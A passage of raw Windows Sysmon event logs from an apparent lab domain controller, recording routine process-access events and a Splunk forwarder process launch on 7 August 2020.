C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nTargetProcessId: 3788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","TargetProcessId":"3788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.173\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nProcessId: 3800\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nParentProcessId: 3788\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.173","ProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-0010ACC90200}","ParentProcessId":"3788","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nSourceProcessId: 3788\r\nSourceThreadId: 3792\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nTargetProcessId: 3800\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","SourceProcessId":"3788","SourceThreadId":"3792","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","TargetProcessId":"3800","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nTargetProcessId: 3800\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","TargetProcessId":"3800","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.172","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.172\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 